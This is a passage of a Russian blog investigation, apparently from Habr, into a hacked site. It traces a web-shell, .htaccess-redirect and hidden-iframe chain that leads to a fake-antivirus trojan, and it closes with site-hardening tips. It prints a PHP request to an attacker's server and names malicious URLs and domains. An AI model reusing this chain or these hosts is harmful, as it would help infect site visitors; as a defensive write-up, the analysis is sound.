			header=>"Content-Type: application/x-www-form-urlencoded ",
			content=>$purl,
			),
		)
	);
$resp = file_get_contents(ADMIN_REDIR_URL,false,$_14);
echo $resp;

И получил в ответ лаконичное: BAD.
И тут мне пришло в голову с адресе сайта использовать не любой из своего списка, а именно тот, который сейчас находится в коде файла 7.txt. Ответ был иным:
Скрытый текст
Внимание!!!
Переходя по ссылке, представленной ниже, Вы рискуете заразить свой компьютер трояном!

хттп://blog2.companyscoming.co:3811/books/site-map.php?radio=888&themes=883&login=82&advocacy=833&browser=79

Параметры после знака "?" генерируются рандомно и не имеют значения.
Так как я пользуюсь браузером Google Chrome, при переходе на данную страницу я увидел 502 ошибку. Но стоило запустить браузер Opera, как мне тут же предложили выполнить некое Java-приложение, которое Антивирус Касперского определил как Trojan/Win32.badur.a. Этот зловред закрывает все открытые программы (а те, что Вы попытаетесь открыть — сразу закроет) и запускает себя — некий сканер компьютера на вирусы, который тут же находит на Вашем компьютере букет всякой заразы и настойчиво предлагает активировать его за 60$ на год (90$ за 3 года!). Убивается сея зараза удалением файла tdefender.exe (defender.exe) в директории %AppData%RandomName% (в моём случае — AppData\Roaming) и стиранием ключа в реестре, в ветках, ответственных за автозапуск (Run).

На этот моё расследование подошло к концу.

Итог.

Схема такова:
  • Находится сайт с уязвимостью, на который загружается шелл.
  • С помощью шелла загружается подставная страница и в файл .htaccess добавляется перенаправление на эту страницу. Перенаправление работает только для тех, кто приходит на сайт с какого-либо другого сайта (поисковик, каталог и т.д.), указанно в списке, в файле .htaccess.
  • Пользователь попадает на подставную страницу, скрипт пытается обратиться по адресу wordpresstest.info/7.txt любым доступным способом (file_get_contents/fsockopen/curl) и получить его содержимое — html-код прозрачного фрейма, который открывает очередной вредоносный скрипт на очередном взломанной сайте (например, betterlife-downloads.com/wsfhxjo.php).
  • Этот скрипт проверяет наличие юзер-агента, ОС, браузер и отправляет запрос с параметром на очередной вредоносный скрипт (test.customsexcams.com/rb/get_url.php). В параметре должен находиться адрес взломанного сайта (второго по счёту в моём описании). Если адрес сменился — скрипт не отработает.
  • Но если все условия выполнены — скрипт вернётся ссылку на очередной сервер, с которого происходит скачивание Trojan/Win32.badur.a, которой на даёт работать и настойчиво просит денег.


Послесловие.

От взлома сайта никто не застрахован, поэтому не стоит забывать о простых мерах предосторожности:
  • Не используйте для доступа к административной части сайта/панели управления хостингом/доступа по FTP и SSH простые пароли.
  • Не храните пароли для доступа по FTP в FTP-клиенте.
  • Обновляйте используемые CMS/плагины/модули до актуальных версий.
  • Поглядывайте в .htaccess на наличие в нём того, чего Вы не добавляли.
  • Поглядывайте на структуру сайта — файлы со странными именами всегда заметны.
  • Не стоит пренебрегать ведением логов доступа к сайту — они могут помочь в выявлении уязвимостей, использованных злоумышленниками.
  • Яндекс.Вебмастер может достаточно быстро обнаружить на Вашем сайте вредоносные скрипты.
  • Поглядывайте на дату последнего редактирования файлов. Если Вы уверены, что в тот день ничего не меняли — стоит задуматься и принять меры.
Читать дальше
Twitter
Одноклассники
Мой Мир

материал с habrahabr.ru

1

      Add

      You can create thematic collections and keep, for instance, all recipes in one place so you will never lose them.

      No images found
      Previous Next 0 / 0
      500
      • Advertisement
      • Animals
      • Architecture
      • Art
      • Auto
      • Aviation
      • Books
      • Cartoons
      • Celebrities
      • Children
      • Culture
      • Design
      • Economics
      • Education
      • Entertainment
      • Fashion
      • Fitness
      • Food
      • Gadgets
      • Games
      • Health
      • History
      • Hobby
      • Humor
      • Interior
      • Moto
      • Movies
      • Music
      • Nature
      • News
      • Photo
      • Pictures
      • Politics
      • Psychology
      • Science
      • Society
      • Sport
      • Technology
      • Travel
      • Video
      • Weapons
      • Web
      • Work
        Submit
        Valid formats are JPG, PNG, GIF.
        Not more than 5 Мb, please.
        30
        surfingbird.ru/site/
        RSS format guidelines
        500
        • Advertisement
        • Animals
        • Architecture
        • Art
        • Auto
        • Aviation
        • Books
        • Cartoons
        • Celebrities
        • Children
        • Culture
        • Design
        • Economics
        • Education
        • Entertainment
        • Fashion
        • Fitness
        • Food
        • Gadgets
        • Games
        • Health
        • History
        • Hobby
        • Humor
        • Interior
        • Moto
        • Movies
        • Music
        • Nature
        • News
        • Photo
        • Pictures
        • Politics
        • Psychology
        • Science
        • Society
        • Sport
        • Technology
        • Travel
        • Video
        • Weapons
        • Web
        • Work

          Submit

          Thank you! Wait for moderation.

          Тебе это не нравится?

          You can block the domain, tag, user or channel, and we'll stop recommend it to you. You can always unblock them in your settings.

          • habrahabr.ru
          • домен habrahabr.ru

          Get a link

          Спасибо, твоя жалоба принята.

          Log on to Surfingbird

          Recover
          Sign up

          or

          Welcome to Surfingbird.com!

          You'll find thousands of interesting pages, photos, and videos inside.
          Join!

          • Personal
            recommendations

          • Stash
            interesting and useful stuff

          • Anywhere,
            anytime

          Do we already know you? Login or restore the password.

          Close

          Add to collection

             

            Facebook

            Ваш профиль на рассмотрении, обновите страницу через несколько секунд

            Facebook

            К сожалению, вы не попадаете под условия акции